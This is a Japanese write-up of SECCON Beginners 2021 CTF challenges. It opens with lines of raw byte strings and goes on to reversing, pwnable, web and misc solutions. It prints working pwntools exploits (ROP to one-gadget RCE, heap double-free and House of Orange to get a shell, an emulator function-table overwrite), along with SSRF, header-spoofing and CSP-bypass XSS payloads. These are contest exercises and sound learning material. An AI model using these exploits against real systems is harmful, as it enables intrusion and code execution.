b"\x04[~\x8d\xd2I\xf9\xd7\xe1\xc3\xb3\xea\x16A\xb6$h\x89\x0f[\xda\xbdu\xe54\xe5\x98\xac\x88\x9c\xbd\t\x8e<\xcd\x8c\x05\xc0\xf0\x11\xabJ\xac\x1b\x92\x92\xd8\xec\xe8\xcbW\xa2zkoCR\xdd\xe4\xa5\xd5\x88\xc4,\xc9h\xb9\xfc\tk\x8d\x96\x8c\xed\x9a\xde\xcf}\xa4M~l\xba\xfc\xd1Q\xf4\xdaBa\x1d\xb4'E\xc7*8\x9a\nv\x8cs:\xa1AT\xd1\xee\xe0\x912O\xf3\xea\x97WS\xeb\x01\xc6\x1e\xc0\x06\x03k27\x0b"
b'\xd432\xb6\x8c\xebs\x1fpZ\x82b\x02\x0eV\xc2\x14\xf3\xf8\xe8Vz[}*\xe2\xb7\x99 \x04\xb5-\xc4\xc8m\x02nL\xcc\xa6\xca\xc3\x90x\x9e\xc8u\x08 \xce\xd2\x89\x9c\x0b\xeb\x8c\x02oEI\xb9A\x06Nwp47\xbd\x9d\x9fm\xdc\xba\x17\x12\xc7\xa6\xb14E\xd1j\x9b\xc2\x85h\x1c\xa2\xb5y\xbc;\xec\xc1E\x82\x19%\xad\xc82\x046\xc0\xda\xa3\xc7\xb0\xc7\x89\xe5\x1f\x13\x01h\x88&:\xa2\xbf#\xcfnoUpR'
b'xs&1z\xde\x97\xe4\xb1\xa6V"DK\xc9\x1c\xa9\x9f4B\xe7(W\x1e\xde1h\xe7L\x1a0NN\xbdT\xebu\xbf\xbeA\xf4\xf3\xf8\xf7\xd6W\x7f\xf6\x7fS\x08 \x1e\x9e,+)\x15\t\xae\xbf\xfa\x1bL,\xbaq\xa0l\x8d\x8e\x0b\xcb\xcc\xbb\xe6\x05\x92\x08^@\xa1R\x04\xd1B\'-\xea\x94\x84;H5d\xd7\x0b>YN\xbdFR\xe8\xddK\x87\x96\x95\xf7\x97\xd6S5,j6M\xaf\xad~>\x7f\x89\x8f1\x8c\x9d'
b'\x12\xd0\x0b\xffa7\xd5\xf3\x7f\xcb\xfa\x15\xda\xb9E(~\xc6\xe5\xf5\x9e\xedC/\xd9\xa8M\xc3-l\x87\xc2\xe9\xcc\xc1\xef\'"C\x13\xb4\x03*\x84\xaaQ[\x86m&\xcft\x14u\xe2L]\xc6\xda\x0f\xf3\xdfM\xc2\xb6P\x86\xf6\xcd\x81|W~\xdd4\xff\xf4|\xadR\xb5a$\xf9\x8e#\xe16uo\x00sT\xed3\x03\xdf!5}rd\x17A;\xe0\x1diO6\xe9\x8a\xaf\xfc\x0c4\x06\xf2*\xd1dz\x1e\x13\xd6\xf1`c'
b'-\x00w`+Ju4\xc9Xy\x85\xaf\xa2\xd9\x03\xb94\'\x87c\\R.51\x8fJ\xf9\xe6f1\x94\x98\r{+\x05J\xa1\xf7{&\xd5\xbf<`\xb4F$\xd2\xd1\x81\xb2\xf0\xf5`\xcd\n\xcc\xd88%o\xb4z\xf0\x0f\x96\xcc\xbb\x04\x07F\xbaE(\xfa\xd8\xd9\xed\xeeZ\x16_Izxx\xdarF\xbdj\xca\xd3\xf8\x08]B\xfd\xa9\xe7\x92\xcc\xf1\xe0\x85\x1b\xc7C\'N\xb6\xa1\x86\xfbv\xa2k"y\xed\xd8\rJH\x80'
b'\x085\x17\xb6\xc7\x8a\xea;\x88\x8a\xae\x12\x11\xaf\xa00&\xbcY)\xadf\x17\x9fN\xd0~x\xe9@\xbb6\xe0\xdf\xc2\'R\xd3\xfb\x8a\xb6\xc7a\x97\xe8\x94\xc2\xe0\xcf\x86\x00\xb6\xee\x85\x07\x0b\x1b"\xa1(\xaf\xc6\xa97D\xdf\x83x`\x11\x94\xb8J\x89\xe8t\xa5\'3\r\xa5\x0ft\xb4\x84\xad\xb5\xdc\xb67\x1c\x9b\xb4\xe7\xe0\x0c8\x08\x1a\xfa\x96C\x9aWtZ#Y\x18\r\x05\xad\xb9\x11M%\xbf\xbf\xb5\xc2\xdb\x004\x10\x10\x1b\x8e\xa2'
b'\x81\xfa(\xa6H\xeb\xd2X\xe7\x8b\xd6a\xbf~Q3L\xb8`\xado\xa4m\xae\x14\xbe\x99\xa5E\x04Y\x93\x91\xc4\xd3\xb1F\xbe\xc3=\xf7\xfa\x92@\x9b\xf4\x0bQ\xf0\x91\xa9_T\xe3f\xaer\xe9\xed\xcew\xc9;h`-\x1a\x9d\'j\xd1\xf9\xe4\xcbN?\x84g \xf2\xe4\xa4-\xbc3\x8cq\x02\x1cZ{\x18\xd3\x8c \x1c"\xea\x9c\x94\x08\xb6\x9d\xdfA\xb1\xba\x84{\xfdn3\x00\xf7R\x08\x9f\xd5\x1a\x98_\x18(\xa8\xfe\x1e`\xf0'
b"h\xb2\xaaR\x1d@\xdb\x1a\x05\x1a\xea\x8b/SEY\xb8\n+\x01\x9a\xb6\xc8Tr\xc5\xac\xbc#\xeb\xacfY\xa2\xd2[\xe7H#\x9c\xcf\xf9\r\x80\x18\x11Xj\xe8\x7f\x9b\xef\xe2\xac4S\xfc\xca\x991b\xc6\xc1b\xe3{\xfe\xb0\xfe\x05\xdd;\x97\xf1-A\x11Q$&\x92\x0fw:$\xd5\x83\xb9\x8crmy'\xb4\xad\x9d\xc2\x14d\x9b\x8a{\xee\xdc\xee\x9c+\x10\x02\xa9\xf2Y\xf9\xf2R\x85\x1e:\xca[3Y\xed'j\xfa\xd99"

ctf4b{4r3_y0u_up5id3_d0wn?_Fr0m_6310w?_0r_60th?}

reversing

only_read

ありがとうGhidra。

ctf4b{c0n5t4nt_f0ld1ng}

children

これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。

作問者write-up。

なるほど、strace。

別端末でpsを叩いて、値の一番大きなPIDを答えていったら通った。

$ ./children
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!

Please give me my child pid!
7348
ok
Please give me my child pid!
7350
ok
Please give me my child pid!
7353
ok
Please give me my child pid!
7355
ok
Please give me my child pid!
7358
ok
Please give me my child pid!
7360
ok
Please give me my child pid!
7362
ok
Please give me my child pid!
7364
ok
Please give me my child pid!
7367
ok
Please give me my child pid!
7369
ok
How many children were born?
14
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

$ ps -ax
  PID TTY      STAT   TIME COMMAND
 :
 7285 ?        R      0:00 /init
 7286 pts/3    Ss     0:00 -bash
 7346 pts/2    S+     0:00 ./children
 7347 pts/2    Z+     0:00 [children] <defunct>
 7348 pts/2    Z+     0:00 [children] <defunct>
 7350 pts/2    Z+     0:00 [children] <defunct>
 7352 pts/2    Z+     0:00 [children] <defunct>
 7353 pts/2    Z+     0:00 [children] <defunct>
 7355 pts/2    Z+     0:00 [children] <defunct>
 7357 pts/2    Z+     0:00 [children] <defunct>
 7358 pts/2    Z+     0:00 [children] <defunct>
 7360 pts/2    Z+     0:00 [children] <defunct>
 7362 pts/2    Z+     0:00 [children] <defunct>
 7364 pts/2    Z+     0:00 [children] <defunct>
 7366 pts/2    Z+     0:00 [children] <defunct>
 7367 pts/2    Z+     0:00 [children] <defunct>
 7369 pts/2    Z+     0:00 [children] <defunct>
 7370 pts/3    R+     0:00 ps -ax

ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}

please_not_trace_me

フラグを復号してくれるのは良いけど，表示してくれない!!

表示しないで終了してしまう。デバッガで見るだけかと思ったけど、ptrace(PTRACE_TRACEME, ...)でデバッグされているかどうかをチェックしている。デバッガで実行されていなければこの呼び出しは成功するが、デバッガで実行されているとすでにトレース済みなので失敗する。

成功したかのように戻り値を書き換えれば良いだろう。で、1回ハマリ。ptraceは2回呼び出されていて、2回目は（すでにトレース済みだから）失敗するのが正しいのに、2回目も成功扱いにしてしまった。

デバッガ上で復号までできればメモリを見るだけ。

gdb-peda$ hexdump 0x555555559000 0x1000
 :
0x0000555555559250 : 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00   ........!.......
0x0000555555559260 : 6e 69 63 6b 65 6c 6f 64 65 6f 6e 00 00 00 00 00   nickelodeon.....
0x0000555555559270 : 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00   ........1.......
0x0000555555559280 : 63 74 66 34 62 7b 64 31 64 5f 79 30 75 5f 64 33   ctf4b{d1d_y0u_d3
0x0000555555559290 : 63 72 79 70 74 5f 72 63 34 3f 7d 00 00 00 00 00   crypt_rc4?}.....
0x00005555555592a0 : 00 00 00 00 00 00 00 00 61 0d 02 00 00 00 00 00   ........a.......
0x00005555555592b0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
 :

ctf4b{d1d_y0u_d3crypt_rc4?}

be_angry

angr。Exampleをちょっと修正。

solve.py

import angr

project = angr.Project("chall", auto_load_libs=False)

@project.hook(0x402539)
def print_flag(state):
    print("FLAG SHOULD BE:", state.posix.dumps(0))
    project.terminate_execution()

project.execute()

$ python3 solve.py
WARNING | 2021-05-22 16:25:08,129 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2021-05-22 16:25:08,434 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2021-05-22 16:25:08,434 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2021-05-22 16:25:08,434 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2021-05-22 16:25:08,434 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2021-05-22 16:25:08,434 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2021-05-22 16:25:08,435 | angr.storage.memory_mixins.default_filler_mixin | Filling register id with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in chall (0x28f9))
WARNING | 2021-05-22 16:25:08,436 | angr.storage.memory_mixins.default_filler_mixin | Filling register ac with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in chall (0x28f9))
FLAG SHOULD BE: b'ctf4b{3nc0d3_4r1thm3t1c}'

ctf4b{3nc0d3_4r1thm3t1c}

firmware

ファームウェア。とっかかりが難しかった。

$ binwalk -e firmware.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
127           0x7F            Base64 standard index table
2343          0x927           Copyright string: "Copyright 2011-2021 The Bootstrap Authors"
2388          0x954           Copyright string: "Copyright 2011-2021 Twitter, Inc."
83503         0x1462F         PNG image, 594 x 100, 8-bit grayscale, non-interlaced
83544         0x14658         Zlib compressed data, best compression
90593         0x161E1         ELF, 32-bit LSB shared object, ARM, version 1 (SYSV)
100906        0x18A2A         Unix path: /usr/lib/gcc/arm-linux-gnueabihf/9/../../../arm-linux-gnueabihf/Scrt1.o
103485        0x1943D         JPEG image data, JFIF standard 1.01
117167        0x1C9AF         PEM certificate
117786        0x1CC1A         HTML document header
118641        0x1CF71         HTML document footer

で、ELFファイルが見える。これを取り出して、Ghidraで解析すると、パスワードをチェックしている処理があった。

$ python3
Python 3.6.8 (default, Jan 14 2019, 11:02:34)
[GCC 8.0.1 20180414 (experimental) [trunk revision 259383]] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> "".join(chr(c^0x53) for c in open("firm", "rb").read()[0x5fd9:0x60cd:4])
'ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}\n'

ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}

pwnable

rewriter

$ nc rewriter.quals.beginners.seccon.jp 4103

[Addr]              |[Value]
====================+===================
 0x00007ffd93297dd0 | 0x0000000000000000  <- buf
 0x00007ffd93297dd8 | 0x0000000000000000
 0x00007ffd93297de0 | 0x0000000000000000
 0x00007ffd93297de8 | 0x0000000000000000
 0x00007ffd93297df0 | 0x0000000000000000  <- target
 0x00007ffd93297df8 | 0x0000000000000000  <- value
 0x00007ffd93297e00 | 0x0000000000401520  <- saved rbp
 0x00007ffd93297e08 | 0x00007f35d3340bf7  <- saved ret addr
 0x00007ffd93297e10 | 0x0000000000000001
 0x00007ffd93297e18 | 0x00007ffd93297ee8

Where would you like to rewrite it?
> 0x00007ffd93297e08
0x00007ffd93297e08 = 0x00000000004011f6

[Addr]              |[Value]
====================+===================
 0x00007ffd93297dd0 | 0x3030303030307830  <- buf
 0x00007ffd93297dd8 | 0x3131303430303030
 0x00007ffd93297de0 | 0x00000000000a3666
 0x00007ffd93297de8 | 0x0000000000000000
 0x00007ffd93297df0 | 0x00000000004011f6  <- target
 0x00007ffd93297df8 | 0x00007ffd93297e08  <- value
 0x00007ffd93297e00 | 0x0000000000401520  <- saved rbp
 0x00007ffd93297e08 | 0x00000000004011f6  <- saved ret addr
 0x00007ffd93297e10 | 0x0000000000000001
 0x00007ffd93297e18 | 0x00007ffd93297ee8

ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

beginners_rop

いつもの。puts(puts);main()を実行してlibcのアドレスをリークし、One-gadget RCEに飛ばす。

attack.py

from pwn import *

s = remote("beginners-rop.quals.beginners.seccon.jp", 4102)

elf = ELF("chall")
context.binary = elf

rop = ROP(elf)
rop.puts(elf.got.puts)
rop.main()
s.sendline(b"!"*0x108+rop.chain())

s.recvuntil(b"!"*0x108)
s.recvline()
puts = unpack(s.recvline()[:-1].ljust(8, b"\0"))

rce = puts-0x80aa0+0x4f3d5
s.sendline(b"!"*0x108+pack(rce))
s.interactive()

$ python3 solve.py
[+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done
[*] '/mnt/d/documents/ctf/secconb2021/beginners_rop/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 14 cached gadgets for 'chall'
[*] Switching to interactive mode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\xd5\xd3\x7f\
$ ls -al
total 36
drwxr-xr-x 1 root pwn   4096 May 21 02:23 .
drwxr-xr-x 1 root root  4096 May 21 02:23 ..
-r-xr-x--- 1 root pwn  17008 May 21 01:52 chall
-r--r----- 1 root pwn     20 May 21 01:52 flag.txt
-r-xr-x--- 1 root pwn     34 May 21 01:52 redir.sh
$ cat flag.txt
ctf4b{H4rd_ROP_c4f3}$

ctf4b{H4rd_ROP_c4f3}

uma_catch

作問者write-up。

書式指定文字列バグに気が付かず、めっちゃ面倒なことをしてしまった……。

Double freeとuse after freeがあるので、そこはやるだけである。問題はlibcアドレスのリーク。サイズが固定なのでチャンクをunsorted binに突っ込めない。

ウマのindexがチェックされていないので、負値が指定できる。周囲を見てみると、__dso_handleというのが（これが何だか分からないけど）自分自身のアドレスを指していた。そこで、表示機能を使って__dso_handleを読み出してプログラム本体のアドレスをリーク、__dso_handleにputs@GOTのアドレスを書き込み、__dso_handleを表示してputsのアドレスをリークした。書式文字列攻撃ができるならスタックからlibcのアドレスが取れますね。はい。

attack.py

from pwn import *

context.arch = "amd64"

s = remote("uma-catch.quals.beginners.seccon.jp", 4101)

def catch(index):
  s.sendlineafter("> ", "1")
  s.sendlineafter("> ", str(index))
  s.sendlineafter("> ", "bay")

def naming(index, name):
  s.sendlineafter("> ", "2")
  s.sendlineafter("> ", str(index))
  s.sendlineafter("> ", name)

def show(index):
  s.sendlineafter("> ", "3")
  s.sendlineafter("> ", str(index))
  return s.recv()

def release(index):
  s.sendlineafter("> ", "5")
  s.sendlineafter("> ", str(index))

dso_idx = (0x4008-0x4040)//8
elf = unpack(show(dso_idx)+b"\0\0")-0x4008

naming(dso_idx, pack(elf+0x3f80))
puts = unpack(show(dso_idx)+b"\0\0")

libc = ELF("libc-2.27.so")
libc.address = puts-libc.symbols.puts

catch(0)
catch(1)
release(0)
release(1)
naming(1, pack(libc.symbols.__free_hook))
catch(0)
catch(0)
naming(0, pack(libc.symbols.system))

catch(0)
naming(0, "/bin/sh")
release(0)

s.interactive()

$ python3 attack.py
[+] Opening connection to uma-catch.quals.beginners.seccon.jp on port 4101: Done
[*] '/mnt/d/documents/ctf/secconb2021/uma_catch/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ ls -al
total 36
drwxr-xr-x 1 root pwn   4096 May 21 03:19 .
drwxr-xr-x 1 root root  4096 May 21 03:19 ..
-r-xr-x--- 1 root pwn  17800 May 21 03:18 chall
-r--r----- 1 root pwn     43 May 21 03:18 flag.txt
-r-xr-x--- 1 root pwn     34 May 21 03:18 redir.sh
$ cat flag.txt
ctf4b{h34p_15_4ls0_m3m0ry_ju5t_l1k3_st4ck}

ctf4b{h34p_15_4ls0_m3m0ry_ju5t_l1k3_st4ck}

2021_emulator

解けなかった。面倒そうだなと思って後回しにしていたら時間が無くなってしまった。

作問者write-up。

MVI、MOV、RETだけが実装された8080のエミュレータ。メモリアクセスの範囲チェックが無く、エミュレータのメモリの直後にはインストラクションの関数テーブルがある。適当な命令の関数をsystemに書き換える。命令の引数にはレジスタの値が格納されているアドレスが渡されるので、レジスタに"sh"を入れておけば良い。

attack.py

from pwn import *

context.arch = "amd64"

# system = 0x4010d0
# *0x4004 = instructions[0] = 0x4010d0
code = b""
for i in range(8):
  # L = i+4
  code += bytes([0x2e, i+4])
  # H = 0x40
  code += bytes([0x26, 0x40])
  # mem[HL] = value
  code += bytes([0x36, pack(0x4010d0)[i]])

# emu = "sh"
# A = h
code += bytes([0x3e, ord("s")])
# B = s
code += bytes([0x06, ord("h")])
# C = \0
code += bytes([0x0e, ord("\0")])

# system("sh")
code += bytes([0x00])

# halt
code += bytes([0xc9])

s = remote("emulator.quals.beginners.seccon.jp", 4100)
s.sendafter("loading to memory...", code)
s.interactive()

emulator.h

 :
struct emulator {
    uint8_t         registers[REGISTERS_COUNT];
    uint8_t         memory[0x4000];
    void (*instructions[0xFF])(struct emulator*);
};
 :

で、REGISTERS_COUNTは12。memoryとinstructionsの間に4バイトのパディングがあることに注意。

$ python3 attack.py
[+] Opening connection to emulator.quals.beginners.seccon.jp on port 4100: Done
[*] Switching to interactive mode

running emulator...
$ ls -al
total 44
drwxr-xr-x 1 root pwn   4096 May 21 02:07 .
drwxr-xr-x 1 root root  4096 May 21 02:05 ..
-rw-r--r-- 1 root pwn   1280 May 21 01:47 banner.txt
-r-xr-x--- 1 root pwn  21920 May 21 01:47 chall
-r--r----- 1 root pwn     32 May 21 01:47 flag.txt
-r-xr-x--- 1 root pwn     36 May 21 01:47 redir.sh
$ cat flag.txt
ctf4b{Y0u_35c4p3d_fr0m_3mul4t0r}$

ところで、

main.c

 :
    puts("loading to memory...");
    load_to_mem(&emu->memory, stdin);
    puts("running emulator...");
 :

emulator.h

 :
void load_to_mem(struct emulator *emu, FILE *f) {
    char c;
    for(int i = 0, c = fgetc(f); c != EOF && i < 0x4000; i++, c = fgetc(f)) {
        emu->memory[i] = c;
        if (c == 0xC9)
            break;
    }
}
 :

と、load_to_memの引数の型があっておらず、emu->memoryのオフセットが2重にずれている。これによって、instructionsの最初の要素に直接値を書き込むことができる。これでも解ける。

attack2.py

from pwn import *

context.arch = "amd64"

code = b""
code += bytes([0x3e, ord("s")])
code += bytes([0x06, ord("h")])
code += bytes([0x00])

code = code.ljust(0x3ff8, b"\0")
code += pack(0x4010d0)

code += bytes([0xc9])

s = remote("emulator.quals.beginners.seccon.jp", 4100)
s.sendafter("loading to memory...", code)
s.interactive()

ctf4b{Y0u_35c4p3d_fr0m_3mul4t0r}

freeless

free関数を使わなければUse-after-Freeは発生しないですよね？

malloc関係の攻撃は何とかbinを利用する。たしかに、freeしなければbinに入らないので、どうしようもない。でも、malloc関数の中には_int_freeを呼び出すパスがある。House of Orange。

あ、こんなところに、House of Orangeについても書かれた本が。

mallocはsbrk関数を使ってヒープを拡張することでメモリを確保している。でも、malloc以外の誰かがsbrkを呼び出すかもしれない。sbrkは拡張前のアドレスを返すので、自分が以前に拡張した終端よりも返ってきたアドレスが後ろならばその間の領域は誰かが使っていると判断できる。mallocは終端をtopのアドレス＋topのサイズとして管理しているから、topのサイズを書き換えることでこの処理をハックできる。で、誰かが使っている（かのように見える）領域は使うわけにはいかず、その前の余った領域がbinに格納される。

本のコード（source.zipのsource/freefree/freefree.py）がほぼそのまま使えた。

attack.py

from pwn import *

context.arch = "amd64"

s = remote("freeless.quals.beginners.seccon.jp", 9077)

def new(index, size):
  s.sendlineafter("> ", "1")
  s.sendlineafter("index: ", str(index))
  s.sendlineafter("size: ", str(size))

def edit(index, data):
  s.sendlineafter("> ", "2")
  s.sendlineafter("index: ", str(index))
  s.sendlineafter("data: ", data)

def show(index):
  s.sendlineafter("> ", "3")
  s.sendlineafter("index: ", str(index))
  s.recvuntil("data: ")
  return s.recvline()[:-1]

new(0, 0x10)
edit(0, b"x"*0x18+pack(0xd51))
new(1, 0xd30)
new(2, 0xd20)
unsort = unpack(show(2)+b"\0\0")
libc_base = unsort-(0x1ebb80+0x60)
print("libc_base:", hex(libc_base))

edit(1, b"x"*0xd38+pack(0x2c1))
new(3, 0xd30)
edit(3, b"x"*0xd38+pack(0x2c1))
new(4, 0x2a0)
edit(3, b"x"*0xd38+pack(0x2a1)+pack(libc_base+0x1ebb70)) # __malloc_hook
new(5, 0x290)
new(6, 0x290)
edit(6, pack(libc_base+0xe6c81))
new(7, 0)

s.interactive()

unsortedに格納してlibcのアドレスをリークし、tcacheを使ってメモリを書き換えるいつものパターン。ただし、_int_freeには__free_hookが効かないので、__malloc_hookを書き換えてone-gadget RCEに飛ばす。

$ python3 attack.py
[+] Opening connection to freeless.quals.beginners.seccon.jp on port 9077: Done
libc_base: 0x7fa13b617000
[*] Switching to interactive mode
$ ls -al
total 32
drwxr-xr-x 1 root pwn   4096 May 21 01:07 .
drwxr-xr-x 1 root root  4096 May 21 01:07 ..
-r-xr-x--- 1 root pwn     37 May 21 01:07 .redir.sh
-r-xr-x--- 1 root pwn  12816 May 21 01:07 chall
-r--r----- 1 root pwn     35 May 21 01:07 flag-a27a8a3700044baa57d2a91a73a4025d.txt
$ cat flag-a27a8a3700044baa57d2a91a73a4025d.txt
ctf4b{sysmalloc_wh4t_R_U_d01ng???}

ctf4b{sysmalloc_wh4t_R_U_d01ng???}

web

osoba

https://osoba.quals.beginners.seccon.jp/?page=/flag

ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}

Werewolf

app.py

 :
class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
        # :-)
        # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])
 :
@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == 'GET':
        return render_template('index.html')

    if request.method == 'POST':
        player = Player()

        for k, v in request.form.items():
            player.__dict__[k] = v

        return render_template('result.html',
            name=player.name,
            color=player.color,
            role=player.role,
            flag=app.FLAG if player.role == 'WEREWOLF' else ''
        )
 :

player.role=='WERWOLF'となればクリア。__を付けたフィールドは、_ClassName__fieldになることに注意。

$ curl -d "_Player__role=WEREWOLF" https://werewolf.quals.beginners.
seccon.jp/
<!DOCTYPE html>
<html>
 :
            <p id="flag">ctf4b{there_are_so_many_hackers_among_us}</p>

ctf4b{there_are_so_many_hackers_among_us}

check_url

index.php

<!-- HTML Template -->
          <?php
            error_reporting(0);
            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";
              echo "********************FLAG********************";
            }else{
              echo "Here, take this<br>";
              $url = $_GET["url"];
              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
              }
              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");
              }
              echo "URL: ".$url."<br>";
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
              curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
              echo "<iframe srcdoc='";
              curl_exec($ch);
              echo "' width='750' height='500'></iframe>";
              curl_close($ch);
            }
          ?>
<!-- HTML Template -->

英数字と:と/のみで構成され、"localhost"も"apache"も含まず、localhostを指すURLが作れれば良い。

https://check-url.quals.beginners.seccon.jp/?url=http://0x7f000001

ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}

json

nginx → bff → api　という流れ。

nginx → bffについて。bffはローカルからのアクセスでないと繋がらない。いや、常にローカルのnginxからのアクセスではあるのだけど、nginxが付与するX-Forwarded-Forを見ているっぽい。X-Forwarded-For: 192.168.111.0を付けたら通った。

bff → apiについて。bffは{"id": 2}を弾くが、apiからフラグを得るためには{"id": 2}が必要。{"id": 2, "id": 1}でいけた。

$ curl -H 'X-Forwarded-For: 192.168.111.0' -d '{"id": 2, "id": 1}' https://json.quals.beginners.seccon.jp/
{"result":"ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}"}

ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}

cant_use_db

I have so little money that I can't even buy the ingredients for ramen.
🍜

お金が無くてラーメンの素材が買えないらしい。お金が無いからDBも使えないのか、所持金とラーメンの素材はファイルでそれぞれ管理されている。ファイルではDBと違ってトランザクションが使えない。わざわざウエイトも入れてくれているので、Noodleを2回、スープを1回、素早くクリックすれば良い。お金を減らす処理の前に次のお金チェックの処理が走ればOK。

ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}

magic

マジックリンクは、Slackが使っている踏むだけでログインができるURL。

エスケープ無し。ただしContent Security Policy（CSP）あり。

メモに個別のURLなどはなく、XSSを仕込んだところで自分しか見られない。管理者にマジックリンクを踏ませることで、ログインはさせられるものの、ログインした時点で管理者が投稿したフラグは管理者から見られなくなるよな……と悩んだ。クローラーのソースコードを良く読んだら、入力欄にフラグを入力するだけで投稿はしていなかった。そして、アプリのJavaScriptを読んでみると、入力中の内容はlocal storageに保存されるようになっていた。なるほど。

後はCSPのバイパス。

Content-Security-Policy: "style-src 'self' ; script-src 'self' ; object-src 'none' ; font-src 'none'

selfならば、このドメイン上に何らかのファイルが置ければ良いのだけど。メモに個別のURLは無いし、トップページ自身はメモに行くまでに余計な文字が多すぎて、JavaScriptとしてもCSSとしてもエラー。

これもマジックリンクだった。

app.js

 :
app.get("/magic", async (req, res, next) => {
 :
    const result = await query(
      "SELECT id, name FROM user WHERE magic_token = ?",
      [token]
    );
    if (result.length !== 1) {
      return res.status(200).send(escapeHTML(token) + " is invalid token.");
 :

後ろに余計な文字列が付いているのはコメントアウトすれば良い。入力欄にはフラグが入っているので、そのままフォームをサブミットさせれば良い。入力欄にlocal storageから復元するのは後ろのスクリプトだったので、defer属性を付けた。HTMLのエスケープは特に問題にならない。

<script src="/magic?token=document.forms[0].submit()//" defer></script>

ページを開いた瞬間サブミットしてリロードしてしまうので、管理者が投稿したフラグはソースコードで確認。管理者も同じ事をしてリロードしまくるので良くなかったかもしれない。

ctf4b{w0w_y0ur_skil1ful_3xploi7_c0de_1s_lik3_4_ma6ic_7rick}

misc

git-leak

$ git reflog
e0b545f (HEAD -> master) HEAD@{0}: commit (amend): feat: めもを追加
80f3044 HEAD@{1}: commit (amend): feat: めもを追加
b3bfb5c HEAD@{2}: rebase -i (finish): returning to refs/heads/master
b3bfb5c HEAD@{3}: commit (amend): feat: めもを追加
7387982 HEAD@{4}: rebase -i: fast-forward
36a4809 HEAD@{5}: rebase -i (start): checkout HEAD~2
7387982 HEAD@{6}: reset: moving to HEAD
7387982 HEAD@{7}: commit: feat: めもを追加
36a4809 HEAD@{8}: commit: feat: commit-treeの説明を追加
9ac9b0c HEAD@{9}: commit: change: 順番を変更
8fc078d HEAD@{10}: commit: feat: git cat-fileの説明を追加
d3b47fe HEAD@{11}: commit: feat: fsckを追記する
f66de64 HEAD@{12}: commit: feat: reflogの説明追加
d5aeffe HEAD@{13}: commit: feat: resetの説明を追加
a4f7fe9 HEAD@{14}: commit: feat: git logの説明を追加
9fcb006 HEAD@{15}: commit: feat: git commitの説明追加
6d21e22 HEAD@{16}: commit: feat: git addの説明を追加
656db59 HEAD@{17}: commit: feat: add README.md
c27f346 HEAD@{18}: commit (initial): initial commit

$ git diff 7387982
diff --git a/flag.txt b/flag.txt
deleted file mode 100644
index 4cbb035..0000000
--- a/flag.txt
+++ /dev/null
@@ -1 +0,0 @@
-ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

Mail_Address_Validator

ReDoS。

main.rb

 :
